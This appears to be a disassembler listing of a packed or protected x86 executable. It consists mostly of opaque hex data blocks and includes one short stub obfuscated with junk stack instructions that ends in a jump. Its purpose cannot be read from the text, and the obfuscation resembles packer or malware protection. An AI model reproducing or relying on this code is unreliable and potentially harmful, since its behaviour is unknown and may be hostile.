		dd 0C5986487h, 9BEE2E57h, 0EC8AA84h, 2D4022F4h,	84981DAEh
		dd 97701BE7h, 0EDF1CE2Eh, 2E34624Bh, 0D2000008h, 441630EAh
		dd 0B98BA55Dh, 30021CD4h, 0A3758F47h, 98ED07C1h, 5E18FA2Fh
		dd 0D48E7244h, 4D05E8BAh, 0C17B6133h, 0B9DCC7A7h, 21D379F8h
		dd 2B720C7Eh, 9E788F49h, 2F9FEB8h, 0E2C89AFCh, 2B140E28h
		dd 88868B45h, 0CCCEE8A2h, 273h,	0F04FD162h, 5F19FFD9h
		dd 0FE5D635Ah, 5DBA61DBh, 0BFC4172Eh, 0D3863578h, 0E3BD0821h
		dd 0CC414701h, 0F1ED1977h, 30653D3h, 13000002h,	0A937FDE7h
		dd 0C9CECB5Ch, 0FBB8BC97h, 86A8AE7Bh, 0BAA0D2E2h, 8EAD7329h
		dd 5E0C3877h, 1ECF5082h, 0AB89CCD2h, 912E5D55h,	0C1F01352h
		dd 0BD21D322h, 23426F6Ah, 0E93C21D3h, 5A71C4E3h, 0C6E09A80h
		dd 4F540EF4h, 0DD29C0ECh, 26C7E107h, 0E744CC20h, 436E91D0h
		dd 3B21D388h, 6083E2E8h, 2673951Ah, 0F5482174h,	6E616B6h
		dd 747EF1Dh, 0D1B90000h, 442BFD17h, 0BBA0728Ch,	2E17E903h
		dd 0A88A5C76h, 567FD4EEh, 2B45FFE1h, 0A1BB7559h, 1A34ECCFh
		dd 8EA86248h, 11A0C3AEh, 6D21D379h, 452B61FBh, 0A288868Bh
		dd 0EF7D1E8h, 435A5156h, 0BAA09120h, 949AED29h,	3996DF47h
		dd 12CCB08Ah, 1610160Dh, 255C7630h, 0A0EEC3E6h,	358829BAh
		dd 0EAFD292Fh, 2B165434h, 23000001h, 0A8AD6749h, 2B89ABB1h
		dd 48748B45h, 0C6A668A8h, 6535924h, 4E682208h, 9E563D17h
		dd 5FDC4498h, 0B1D92548h, 0C5F2E59h, 0ADEDC007h, 0EF5021D9h
		dd 150E3C92h, 422953D4h, 73000000h, 6E974FD1h, 28E985Dh
		dd 2C4F6611h, 2E5A46C6h, 0C3B1C4F0h, 5D611B01h,	0A7590F56h
		dd 0E5040AC2h, 67468D92h, 0D621D9ADh, 10C8B18Bh, 0E238950Ah
		dd 53D41EA4h, 9DCFh, 1B02DC00h,	61675E63h, 8B452B3Fh
		dd 0ECA68886h, 665884E7h, 7E9A20D2h, 270D070Dh,	846A686Dh
		dd 1027E1C3h, 0B9A1C4EDh, 0BC67BA29h, 0DC2087A2h, 957B29B9h
		dd 8B95C1DBh, 8A7295ACh, 0C02E5793h, 38C23694h,	0D4DACAC7h
		dd 0C4B62B5h, 92974F32h, 0B99B959Bh, 3113E5FFh,	3A519E77h
		dd 7D66EDF2h, 6044Fh, 5A14FC00h, 0CF876E40h, 46FEE3B5h
		dd 0B9715A2Ch, 31EBCD9Fh, 2419C217h, 9C6E8842h,	12E4FEB8h
		dd 8B5D772Fh, 0F1D1EBA5h, 77CEE306h, 36A821D3h,	8F492B9Ch
		dd 3BDA375h, 452BEFE9h,	0E423868Bh, 0BAA0F0C1h,	2D338629h
		dd 79934D33h, 4677h, 452B0D00h,	0A288868Bh, 3C40F8E1h
		dd 63B2809Ch, 868B36CBh, 92B5F413h, 29B9F41Fh, 5204AB57h
		dd 69C13E3Ah, 0EE43B8BEh, 687B5D37h, 0E64D3823h, 393EE932h
		dd 66563E42h, 5737C000h, 0B7715751h, 319B9Dh, 2B310000h
		dd 3F868B45h, 29BAA16Fh, 8C91492Eh, 0EAEFA78Eh,	276AC7F4h
		dd 2197C31Eh, 0B54D4D78h, 0A5AA6247h, 88FD03AEh, 3AFBE12Bh
		dd 9F969B53h, 2BE0DAF4h, 2E868B45h, 0EF2E45E2h,	70752F15h
		dd 0F0307379h, 662E5DB9h, 862D84A7h, 0F64921D3h, 3E390CF2h
		dd 0B8630F50h, 643662A1h, 4231DE0Fh, 711CD4BDh,	0D18B716Bh
		dd 45FFE5B7h, 0B971542Eh, 20E66B3h, 0EAEB0E25h,	4C26760Bh
		dd 2208E2F9h, 967C4E68h, 3574D7DCh, 0B9EB9F12h,	601AFC29h
		dd 3A8D645Bh, 8730E034h, 80DC7ADh, 0EB9B1611h, 89E329B9h
		dd 943FEAA2h, 7F643E7Dh, 0C5CBC2C7h, 59CEF082h,	0DAB3062Eh
		dd 0EDF03093h, 0AE95C3ACh, 52000004h, 0C496B06Ah, 390B25DDh
		dd 0B0829C54h, 23F50FC7h, 186D8741h, 0DE987AAFh, 540EF2C4h
		dd 0CD85683Ah, 41FBE1B3h, 395C4727h, 21D37578h,	2BF28CFEh
		dd 3A718B45h, 0BBC07A60h, 0DEC4BEC4h, 7DBC1F24h, 0BAA1575Ah
		dd 0C6CC1F29h, 272CE6CCh, 734D8CBFh, 0D7CED38Dh, 0BAA0D5DCh
		dd 484EA129h, 462C7ED3h, 0B59B758Ch, 0F9FFF6FBh, 0EA8DB997h
		dd 4FA65434h, 0B3000000h, 383DF7D9h, 94FFB2D5h,	247729BAh
		dd 5AAE7579h, 5832F198h, 4FD13052h, 1FB6D9F0h, 972E5AEFh
		dd 70532D44h, 3B679EB8h, 6FACEF82h, 0D1141A7Fh,	21D9DEDEh
		dd 0A21DBC1h, 97394C30h, 0DD06C796h, 86E8EE99h,	1419D1B4h
		dd 3ECE6h, 452B7C00h, 0A288868Bh, 7EA2CEE8h, 7787AAC1h
		dd 12E5AA7h, 15E46D55h,	0D17CF4EBh, 1C2885CCh, 0CA1521DAh
		dd 4B5109F0h, 0E72379D6h, 3553D463h, 0B5BA725Bh, 13822F52h
		dd 0A9FC21DAh, 4F74F8FEh, 81000000h, 50BC5A7h, 0F04FD1E3h
		dd 416E9AD9h, 2CE4CDE9h, 2560A228h, 0EF16DC1Fh,	0A1602E59h
		dd 262BE5C7h, 0F07D342Fh, 0A6F921D9h, 4FE51DA2h, 0BE690366h
		dd 0D43B72B9h, 0A10221D9h, 27B0EE4Ch, 0F1DB53D4h, 0E8000000h
		dd 0C82B86A9h, 5321D9h,	452BD8FAh, 0A688868Bh, 4045FFE5h
		dd 0AD879E49h, 6B2308C9h, 0BFC46F66h, 3024C4C8h, 8FFB040Ah
		dd 583E3C89h, 5C36999Eh, 0BDB7BD75h, 7B3316D7h,	407FB6D0h
		dd 0BA61941Dh, 9197EA29h, 0BA66894Eh, 86402629h, 0FAB49A6Ch
		dd 0B4739DF5h, 4A38719Dh, 586CCD02h, 56D0F352h,	102E59DDh
		dd 0ED7AA6BDh, 0AD2FBFB3h, 251AE917h, 0BB6FA25h, 0A977A305h
		dd 0A650738Ah, 0A026779Ah, 0D819D674h, 353B28A4h, 0D2ACC316h
		dd 0E01F36F0h, 0B87FF4BDh, 0A8CB8A29h, 29B88009h, 71772275h
		dd 0A15B3D0Fh, 11C207C8h, 8DBBA4E6h, 2B5h, 8FA9634Bh, 41ED6BDh
		dd 7B954D32h, 0EE08C0A9h, 66803A1Ch, 9173A811h,	7EBBDD7h
		dd 7E61334Dh, 0F4DAACC6h, 5540203Ah, 0D3737F32h, 0EB85F721h
		dd 758F492Bh, 0E903BDA3h, 3DF5D8B2h, 193B4138h,	0D9F04FD1h
		dd 5AA03CB6h, 0C2A8822Eh, 60C0308h, 488F94E7h, 21DAA065h
		dd 0C41A77D8h, 53D4EB86h, 0CCB1h, 2E4BE00h, 2B204248h
		dd 23868B45h, 0A8AD6749h, 0CFB1ABB1h, 0D3AD1015h, 382F34ECh
		dd 0E1E6A086h, 36A1E4EAh, 0B929BAA5h, 0C30219D3h, 4E4903E9h
		dd 29BA9D63h, 60C2C81Bh, 0E9EEA88Eh, 99B08F91h,	5A7EB076h
		dd 3C53A62Eh, 34577B62h, 21DA797Dh, 0F5FBA6F9h,	7AB96793h
		dd 0F1174063h, 156F2677h, 0D28C7031h, 8B657C27h, 0FED8EFA9h
		dd 0F5575D15h, 45FDE4BEh, 49434940h, 29D4AD67h,	0BAE6123Fh
		dd 1CBA3D1h, 4D350000h,	0C0A77993h, 371CEE08h, 0AA93657Fh
		dd 2406D8F2h, 0D2FB506Ah, 0A7C17B5Dh, 1D37F1D5h, 96B0684Bh
		dd 0A24DEC4h, 951C3F2Ah, 0E121D372h, 492BD56Fh,	643E758Fh
		dd 71C1C680h, 3C04333Ah, 0DAE08B69h, 2640FAE0h,	3ECC62Ch
		dd 654B454Bh, 6166452h,	0A04B20F8h, 0FDB79D9Bh,	712B11E3h
		dd 4D2F096Ch, 0D7398D93h, 0A01E4158h, 162E5A64h, 0E19B7D57h
		dd 0DA5ACBE6h, 0F307B321h, 0CC48DB04h, 0E2F9A44Fh, 676D2508h
		dd 7B331C1Ah, 0D8927876h, 0D62B60D3h, 39E49E84h, 0BB0D628Fh
		dd 2A041BD5h, 24868C46h, 210428F8h, 0C26D6469h,	0A9926CABh
		dd 0EFF5ECF1h, 7A17BAACh, 0E4E93C26h, 593F00E6h, 51FCB698h
		dd 949E9A4Dh, 974269C7h, 9FB29492h, 0BF2DACF1h,	3035E020h
		dd 92974F32h, 4A95EA1Fh, 0ED91EE23h, 0CAED0423h, 2E5A0B9Ch
		dd 0DF9780DAh, 1E38E3DAh, 0A7AC664Ch, 3E1C1844h, 0A0048E2Ah
		dd 51097DDFh, 107B2E5h,	556C2407h, 0D8DD977Bh, 934D2FE1h
		dd 1D4A408Dh, 543711C0h, 9AA0979Ch, 0E600BAA0h,	0C2D956BAh
		dd 0BC5A983h, 671F0806h, 0BAC06B62h, 7A824777h,	797ED126h
		dd 0D6DB957Bh, 0B25EB3E0h, 7BBAD16Eh, 0D553594Fh, 898F1C0Ch
		dd 5A697846h, 91ABFE2Eh, 657CBB65h, 56AE0326h, 75C821DAh
		dd 0E4ED106Fh, 1A267D70h, 0D808EEEEh, 50B1694h,	908E93E6h
		dd 4D6F0AAh, 0DCD5F81Eh, 0A229B346h, 589FA44Fh,	518DF02Fh
		dd 0FB4DA2D7h, 2C15EF15h, 0F0387974h, 0EB3EB191h, 6E542640h
		dd 325E9DB4h, 6B059A3Bh, 0F0C1BC1Ah, 86B1928Dh,	0E2E02D33h
		dd 463C41F9h, 8C72C419h, 842FE9CBh, 0F8B2986Ah,	3C5F3h
		dd 245B0000h, 89432B66h, 0E6A08684h, 4800E3E1h,	0A7614543h
		dd 8C2A4A2h, 69230503h,	0C57D6664h, 25DDC2C0h, 833B2220h
		dd 0B6686D7Eh, 89000018h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	7047h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7E71C4Dh
		mov	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	6E87h
		mov	[esp], ebx
		mov	ebx, 8
		add	ebx, ecx
		mov	[ebx], esi
		pop	ebx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_554887
; ---------------------------------------------------------------------------
		db 2Fh,	0EFh, 0FFh
		dd 0E72FFAB8h, 0FFC50307h, 1D2C6EE0h, 0E5E2213Ch, 52B04C6Dh
		dd 79851851h, 1BF8794Bh, 1C25213Fh, 0B8996554h,	3E480032h
		dd 6083125h, 0BA496511h, 85581032h, 0C61E7749h,	0F03A043Bh
		dd 0ABD71241h, 0E7D8F714h, 0CE59E743h, 0DB56D86Ch, 58955422h
		dd 0B9873252h, 9CB43B28h, 25DDD709h, 867C2257h,	208DD268h
		dd 39046B0Ah, 277FE558h, 5C6BA313h, 9B7A3801h, 0AD836252h
		dd 5E810h, 464A0000h, 663FC0F9h, 0ABA4DE81h, 0AE95Fh, 0F9350000h
		dd 30AFE915h, 4EE59C6Dh, 64DEC781h, 68F90000h, 190Eh, 0B8BE6659h
		dd 5837FF49h, 18A0Fh, 81F50000h, 0DB3F1CE8h, 23BB6611h
		dd 2DE8813Dh, 0F20AC20h, 28Ah, 8197B700h, 2C57F7F0h, 50F28B64h
		dd 8E38166h, 0F078FABh,	581h, 357BB00h,	0EF834AD7h, 0AE64BB04h
		dd 0F495F28h, 1E85h, 38D0F00h, 0F000000h, 25E9D8B7h, 10000000h
		dd 233B6E9Dh, 25AC0F00h, 7DFA9DC4h, 66547894h, 5001D681h
		dd 0FFFF8CE9h, 99A103FFh, 0BC8C8CFCh, 803AAC2Eh, 75985C6h
		dd 685607E0h, 0A9C530DFh, 292DB5FFh, 858D07E0h,	7E37FE8h
		dd 8D8DD0FFh, 7E00585h,	0FF406A51h, 0E0209DB5h,	0E9B5FF07h
		dd 0FF07E023h, 9DB5FFD0h, 0FF07E020h, 0E023E9B5h, 0EE807h
		dd 0B9160000h, 851C15Fh, 1A40D0FEh, 0B723FA8h, 0EA835A5Ah
		dd 242CC104h, 2424C102h, 24140302h, 0BF241CF7h,	0
		dd 813A0C8Bh, 0A57DF7F1h, 96C18139h, 815B6B28h,	0D296ADC1h
		dd 3A0C897Ah, 0CECEEF81h, 0C781638Eh, 638ECECAh, 0F243C3Bh
		dd 0FFFFD385h, 0ED9D8DFFh, 8B07E001h, 0FC00B03h, 784h
		dd 8B038B00h, 1889045Bh, 5E8C98Bh, 0FF000000h, 3A2D71E0h
		dd 4890Fh, 0BE660000h, 6658F653h, 81E05ABAh, 61F0C0h, 3800F00h
		dd 0F000000h, 68D1BFh, 8B000000h, 800F59D8h, 18h, 0FE8h
		dd 5A4F7600h, 25925D14h, 2FBD3C6Ah, 91D126D7h, 5BDA8B66h
		dd 66083C8Bh, 0EF81D98Bh, 7CE29FA2h, 2EF5B960h,	8E8661Ch
		dd 0C8000000h, 2E5CF9AAh, 5005740Ch, 81615E5Bh,	934798F7h
		dd 28D0F71h, 8B000000h,	31EF81D0h, 0E8435530h, 0Eh, 6FEBB6C9h
		dd 0F4414B4Ah, 60AE3B4Bh, 0DE94007h, 36000000h,	1E267A05h
		dd 0B2130FCDh, 6E1C211Eh, 83C895Ah, 1C82F281h, 0BF0F1DDAh
		dd 2E983F3h, 58E38166h,	0F494969h, 68Dh, 890F00h, 81000000h
		dd 0FF9F14F9h, 13850FFFh, 60000000h, 51A9E381h,	0E96157EAh
		dd 27h,	62FF123Ch, 0F60D5D1h, 38Bh, 0C9B70F00h,	92C08166h
		dd 4DE961AEh, 0DDFFFFFFh, 0DC119474h, 0E641CDF0h, 0E9ABF6A0h
		dd 25h,	0ADF64AFh, 8 dup(0)
		dd 50EE900h, 8B680000h,	0E907E734h, 0FFF94D4Fh,	0E7351D68h
		dd 4D45E907h, 8668FFF9h, 0E907E736h, 0FFF94D3Bh, 0F29E3CBh
		dd 849E563Dh, 0FB15CDB2h, 6E884029h, 0E600BA9Ch, 11F32891h
		dd 876B3D57h, 0FEE1B3CDh, 745A2C46h, 0D5C0A0BAh, 0D36DFFB2h
		dd 2E057721h, 0EDFFCE02h, 0D360E7CAh, 383C8F21h, 0F0A2F2FFh
		dd 2A4C520Ch, 788F492Bh, 259D1B4Ch, 0FB01917Eh,	10CAB0AEh
		dd 0E946CAF6h, 19A7AFD2h, 0CE212E5Ah, 122B82C9h, 897021DAh
		dd 0E5CECCD1h, 41F6282Dh, 3091A1ECh, 0B7F824D3h, 517491DEh
		dd 87C3C9CFh, 0B053D44Bh, 324h,	0F0B0B3FAh, 0ADEC0320h
		dd 2D33EDD3h, 5AA57CEAh, 784EFA2Eh, 2C3FF201h, 230ABF6Ah
		dd 0CCFF8223h, 6C83A070h, 0D56C6549h, 1D671333h, 0B52C49D5h
		dd 8FE7EC97h, 688BA281h, 30F4B35Dh, 143F6D99h, 2D3B9A07h
		dd 9EB50827h, 0D24DEC4h, 0AD915033h, 0E04248F3h, 956E280Eh
		dd 0E095969Dh, 66A3D1BAh, 0B6000003h, 28FA14CEh, 9D6F8941h
		dd 14E600B8h, 8759732Bh, 7CD1EBA5h, 42FCDE53h, 0B8725628h
		dd 31E9CC9Eh, 0A55F4517h, 9DC0AB8Bh, 21D36D14h,	0D15EF86Ah
		dd 0B6D9F04Fh, 2E5D91B3h, 2889ACEBh, 4E21D36Eh,	17D6F5FBh
		dd 0D36DBDF4h, 4F66B921h, 0D36D852Ch, 0F39EF121h, 5F2002DCh
		dd 20D8BD7Ch, 7479241Bh, 0E1BBD27Dh, 494045FFh,	2D0FE143h
		dd 6DCDE407h, 56A921D3h, 6943A6ABh, 0CEC5CA82h,	2B4785C8h
		dd 0FCE2CE5Eh, 6C876942h, 0AF98DE28h, 2D481h, 0A6604800h
		dd 1BD3BA8Ch, 924A2F01h, 5BDA678h, 7D3719EBh, 70A50E63h
		dd 0E8BAD48Eh, 5E304A04h, 0D7A9C37Bh, 3D1D37F1h, 6B822F52h
		dd 8AFC21D3h, 9ECC6F0h,	4F554C51h, 0FF1615FBh, 5D918DDCh
		dd 0CCAF892Eh, 12180F14h, 389BA0F3h, 10C27C5Eh,	746B702Ah
		dd 6D822B6Eh, 5ABB21D3h, 0D57BA705h, 0C99453D3h, 0DE000001h
		dd 868B452Bh, 0D1E8A288h, 0A1426F92h, 7D6129BAh, 9399ECC3h
		dd 1C1B0531h, 0A71CE205h, 0C71A2E5Ah, 9B327BC2h, 0AA0B21DAh
		dd 0DFC49E55h, 792B2227h, 0CED4DA92h, 53D4E090h, 45BBh
		dd 4FD10500h, 5B9AD9F0h, 0BAA07938h, 0ACB20529h, 5AA08969h
		dd 0F0D5AF2Eh, 822ED4DFh, 0EE999B0Eh, 7176C9E8h, 5ACCF0Eh
		dd 7121DA46h, 0CD856C1Eh, 88CBD1C8h, 21DA4625h,	45AB718h
		dd 53D4B1C6h, 0BAF1h, 452B3B00h, 0F723868Bh, 3BC23F84h
		dd 7E787EE1h, 8CCBE29Ch, 0BA6F4869h, 0D5DB2E29h, 0EAA48A88h
		dd 4701E7E5h, 0B8725630h, 54B6BCB3h, 0BA72B239h, 41674D29h
		dd 0C5CA8267h, 6ADED3CEh, 459829BAh, 6AA60B2Eh,	7DD029BAh
		dd 4281B8D2h, 0BA6A921Fh, 0A992EC29h, 0EC4046F1h, 0CDF00724h
		dd 2E57E22Fh, 0CFFB1265h, 47CE04B0h, 0B3984AB8h, 0BC96F5FBh
		dd 340620DAh, 0E3BF9852h, 0F8EDF267h, 16BE10Fh,	0C9B10000h
		dd 3C23F50Fh, 0B3986A84h, 260FE1FBh, 0A082546Eh, 4E77CCE6h
		dd 233DF7D9h, 99B36D51h, 122CE4C7h, 86A05A40h, 1998BBA6h
		dd 6521D36Bh, 492B59F3h, 0BDA3758Fh, 2BEFE903h,	48748B45h
		dd 0B88F37A1h, 775D0F71h, 76AB7BDh, 4B6689C8h, 3329B9D9h
		dd 0D8CCE5E0h, 6B229B9h, 8EEAEF4h, 0CAD07B39h, 1930EAD0h
		dd 0E18CC9EDh, 0D0B2762Eh, 6F1A1116h, 0F6D00769h, 5A515610h
		dd 13100054h, 3FCD9FCh,	277A2E5Ah, 8B6AE410h, 0ADA72A14h
		dd 2F0948A7h, 5FF33748h, 0C5D8B3Bh, 7F615B61h, 1D90ABC5h
		dd 7E21DA7Eh, 0F2C4DE98h, 0EE515610h, 89702F14h, 2A2126D1h
		dd 0AFFA24h, 27530000h,	8A2B3E03h, 0E5070D25h, 0D9F04FD1h
		dd 0A13A779Ah, 0F14429BAh, 0FC698CEBh, 7A2E5D91h, 3E242227h
		dd 0B2986A84h, 7ACF3F8h, 1F1C9BCAh, 5D4395EAh, 0D1B789A3h
		dd 6D722C10h, 753C5F76h, 11EDB31h, 0FE03AEh, 0C4A30617h
		dd 0AECC2D8Dh, 1D00FE03h, 7CDBD6F9h, 50A31EDBh,	0BFA2A0A5h
		dd 1BD00207h, 0A4D17BC6h, 3659984Fh, 1EDB7C7Bh,	0B0AAB003h
		dd 0BAF910CAh, 0DB7D1A97h, 6EDF371Eh, 0AC161B67h, 1A7C82D5h
		dd 0A3A86248h, 50AA1440h, 0E785EBD4h, 4D444903h, 12729CA2h
		dd 8000000h, 0E40AECC6h, 0BAA0F0C1h, 88338629h,	85868C83h
		dd 89432BC7h, 0E6A08684h, 4800E3E1h, 0A7614543h, 8C2A4A2h
		dd 69230503h, 0C57D6664h, 25DDC2C0h, 833B2220h,	89516D7Eh
		dd 4C181E1h, 83000000h,	0C3304E9h, 240C3124h, 5C240C33h
		dd 295668h, 24148900h, 5E08950h, 4, 42Dh, 24048700h, 241C895Ch
		dd 33A0BD55h, 0EA8907E7h, 81242C8Bh, 4C4h, 1C8B5400h, 4C48324h
		dd 31E168h, 24148900h, 0FF08438Fh, 815B2434h, 4C4h, 24148B00h
dword_5C0024	dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 0F9484EE9h, 4CDFF0FFh
					; DATA XREF: ___:0043F2ACo
		dd 0E73816B8h, 0FFC50307h, 40F5D9E0h, 0DD614531h, 9DD33B15h
		dd 6DAD028h, 10E826h, 0CB160000h, 0A6F98412h, 0DB640941h
		dd 0CBF04AD2h, 66573FE4h, 5FB476BAh, 0F6BA6658h, 85C0815Eh
		dd 0E900006Fh, 11h, 17CA55E1h, 0EDB797E5h, 83B52DFAh, 639F9C7Fh
		dd 685Dh, 0DF8B0000h, 7DBA5759h, 5F25750Fh, 8108348Bh
		dd 4CDFAAEEh, 0DF81665Fh, 0C6813548h, 6E5C7A8Dh, 8A4AC681h
		dd 11E97128h, 61000000h, 8B43F9DBh, 0C1670DE0h,	0E643689h
		dd 0C6DAB8F9h, 0A00BB56h, 48F704Ah, 4FE28008h, 67BBBF66h
		dd 6601E983h, 50D3EF81h, 66494949h, 81B6AEBAh, 0FF911CF9h
		dd 0A5850FFFh, 66FFFFFFh, 8DBF75BAh, 0E739F68Dh, 0AE907h
		dd 0BCAF0000h, 0DEC6E863h, 0AA46FD5Ah, 18B0E281h, 8D89458Eh
		dd 7E01815h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	5C35343h, 7E3C7D92h, 1B91B589h,	85C707E0h, 7E02049h
		dd 6A40h, 1D099531h, 85C707E0h,	7E022C5h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1DC35343h
		dd 34CE13CBh, 0BF668714h, 0B5FFFFF3h, 7E00F59h,	0FFF2BF0Fh
		dd 0E0209195h, 89950107h, 6A07E001h, 0A995FF00h, 8B07E018h
		dd 7919EBC0h, 88EA5051h, 997960E0h, 479E02A4h, 86984107h
		dd 955E3966h, 7BB7B5F9h, 10E8h,	0A292C800h, 3164EF0Eh
		dd 0C0C87901h, 1928B634h, 7E82Bh, 0D0DB0000h, 2BEF9BE7h
		dd 0B9B5893Bh, 5E07E019h, 0D9BE665Bh, 0B5C381F6h, 66000074h
		dd 0BAE30AB9h, 1CF5h, 33FFC78Ah, 5FC18B66h, 13E9h, 0CFE07D00h
		dd 8E1FE852h, 0B6B44FF0h, 0DA5B6BA8h, 1AFAE887h, 4915F781h
		dd 86B4449Ch, 0D981F781h, 850301F2h, 7E01BA9h, 9B87EF81h
		dd 0B50139F5h, 7E033F5h, 85093B89h, 7E026B1h, 503EB81h
		dd 816602BFh, 815D8ADEh, 0BF04FFC3h, 15858B02h,	8107E020h
		dd 1EAh, 16850F00h, 8B000000h, 0E019FDB5h, 38E907h, 893C0000h
		dd 33F1AC7Bh, 0B9C5ED78h, 12E86Ch, 49EE0000h, 88CFF61Ch
		dd 0A84299AFh, 4551F4B7h, 1698F1E3h, 7FD9589h, 0E95907E0h
		dd 0FFFFFF5Eh, 1097B82Ch, 0AC3F8269h, 12E8F4F5h, 0C000000h
		dd 3219B1EDh, 0FBF385CEh, 5298FD8Ch, 7DBB918Bh,	0B185036Bh
		dd 5B07E013h, 0C381D68Bh, 6244h, 10E9h,	66A88B00h, 23A428BBh
		dd 0AEA0AE7Bh, 0D678F6BFh, 0A322BE40h, 0EE81375Ah, 375A8AC3h
		dd 1C65B589h, 33FF07E0h, 0E95FE68Ah, 0Bh, 222E5AE9h, 6022CD03h
		dd 81B578ABh, 50F4E5EFh, 958D8B3Dh, 8107E008h, 0AAA62C7h
		dd 0DE86Fh, 65F0000h, 15D25C5Dh, 594C1094h, 663EEE98h
		dd 8158D18Bh, 0D5F0EFF7h, 13E85Ah, 28670000h, 3B92E390h
		dd 0D8B4C977h, 47475E9Bh, 634A77A6h, 6860F9Eh, 89000000h
		dd 0E00445BDh, 3B895807h, 2F39BD89h, 0EB8307E0h, 0F2816604h
		dd 0F4EB005h, 0FFFF8185h, 0E19501FFh, 0E807E023h, 8, 9A4050C7h
		dd 3F7A9467h, 1A31958Bh, 565907E0h, 5A58F857h, 5CF5C181h
		dd 0B8660000h, 15BFE0DFh, 66000017h, 8BF1E9BBh,	6E931h
		dd 64040000h, 8C43ECF4h, 4BADEE81h, 81661D0Eh, 813C13F2h
		dd 642A0AEEh, 7E90Ch, 27940000h, 0D1754A99h, 69EE8186h
		dd 0B65D477Eh, 8D89562Ch, 7E022C9h, 0F380018Fh,	4E9838Fh
		dd 81D1B70Fh, 1EFh, 1C850F00h, 89000000h, 0E00201BDh, 23E907h
		dd 21360000h, 0BFE5AF44h, 18C70BA7h, 0D61F80EAh, 8BB24BADh
		dd 0E017B59Dh, 0FF89E907h, 9780FFFFh, 1D55B2A8h, 83C08B70h
		dd 0E006B1BDh, 9750007h, 1C5BD83h, 740007E0h, 8B535019h
		dd 421B8C0h, 85890000h,	7E020F5h, 0BC629D8Dh, 0D3FF07E2h
		dd 0BD83585Bh, 7E001C5h, 50177400h, 421B853h, 85890000h
		dd 7E020F5h, 0B9519D8Dh, 0D3FF07E2h, 0C08B585Bh, 4659D8Bh
		dd 85C607E0h, 7E00759h,	0B8526856h, 0B5FF9CA8h,	7E0292Dh
		dd 7FE8858Dh, 0D0FF07E3h, 68046Ah, 0FF000010h, 0E03355B5h
		dd 0FF006A07h, 0FC085D0h, 0D85h, 0B800h, 8D8D0000h, 7E0748Dh
		dd 0C88BE1FFh, 4003C38Bh, 0F8053Ch, 508B0000h, 83D3030Ch
		dd 0E001EDBDh, 840F0007h, 0Eh, 1ED9D8Bh, 858B07E0h, 7E01C61h
		dd 52510389h, 4334858Dh, 0D0FF07E0h, 0F18BFA8Bh, 0C88BD18Bh
		dd 85C6A4F3h, 7E00759h,	6D396856h, 0B5FFD41Fh, 7E0292Dh
		dd 7FE8858Dh, 0D0FF07E3h, 800068h, 52006A00h, 0C08BD0FFh
		dd 6B1BD83h, 750007E0h,	0C5BD8309h, 7E001h, 53501974h
		dd 21B8C08Bh, 89000004h, 0E0239985h, 0C99D8D07h, 0FF07E2BCh
		dd 83585BD3h, 0E001C5BDh, 17740007h, 21B85350h,	89000004h
		dd 0E0239985h, 6A9D8D07h, 0FF07E2B9h, 8B585BD3h, 0ED9D8DC0h
		dd 8B07E001h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 4B41B8h
		dd 10E900h, 9C610000h, 3959h, 2	dup(0)
		dd 0C7E90000h, 22000005h, 9466803Ah, 9DBF5ADh, 80526C24h
		dd 0F3C5DF97h, 0E83D5711h, 0AE684AFFh, 24DEC294h, 9D55380Ah
		dd 11CBB183h, 92C17F7h,	21D363A8h, 2BC25CCEh, 88868B45h
		dd 0D2ECA6h, 6F49601Ah,	7CC9CF89h, 0F2D7987Eh, 0D5E5353Ah
		dd 0C6F18D4Eh, 70CB762h, 49112209h, 3FC071ADh, 30A3A853h
		dd 6E54A6FBh, 0E5C89AB4h, 5E41132Dh, 0BFA3A1A6h, 0DD0A0005h
		dd 9B533680h, 8C9AF81h,	71686D25h, 347AC1C6h, 6729BA9Bh
		dd 25DDC081h, 9577757Ah, 9B654C6Fh, 0BE1129BAh,	0A4BE0E13h
		dd 661C8E98h, 0C51A637Fh, 0C320517Ah, 34E1316Dh, 8B5A54h
		dd 2BA40000h, 35748B45h, 0BAA09F12h, 7E84D729h,	12F4CE31h
		dd 0AA5C5358h, 0C3060CC6h, 29BAA0ECh, 80A3C9AFh, 29BAA131h
		dd 4A4FFA4Dh, 0A6AB634Ch, 1F62BF74h, 0EDAFDBF6h, 0DFF95948h
		dd 227FF4FAh, 34C99ECCh, 12B954h, 9AC60000h, 0F808B7D6h
		dd 0F1C0E3FEh, 8D29BA1Dh, 67898F3Ah, 878C442Bh,	0E5EAA289h
		dd 4146FEE7h, 0BD9F5E43h, 55535803h, 0BCB3B870h, 7C65260Ah
		dd 1DC8BFC4h, 0D62BEC18h, 0D22F648Bh, 0CFE9A188h, 435D17FDh
		dd 8F492B49h, 94A58C8Ah, 9D6E4450h, 9B01A7B5h, 31108286h
		dd 8BF3F8A3h, 0B99BED42h, 2D13E5FFh, 0CBD08A6Ch, 179ABDD4h
		dd 5F29BA62h, 5E5C610Ch, 0C4D5BA79h, 2198D9B6h,	0F8FDA863h
		dd 3F5601h, 0B9E9D4DDh,	5157AA29h, 0EA47A804h, 345F4694h
		dd 0AF9154h, 729E0000h,	1900D9CEh, 5679909Bh, 29BA8F5Bh
		dd 0A8CAD023h, 0A588492Bh, 0A1535E81h, 0D82B29BAh, 7F7D822Dh
		dd 0F1CBE29Ah, 554C510Bh, 708F024Fh, 0A0A30E31h, 88DB29BAh
		dd 66B00D82h, 0DEB0CA84h, 0DA3D42FCh, 0A139789Bh, 0F24529BAh
		dd 4A09F2ECh, 0FAFFAA64h, 5C6119FCh, 0BBC07A5Eh, 0A07C3558h
		dd 0AF0229BAh, 0B3FE5388h, 36ED42A3h, 0AAABB30Ah, 0BA742A87h
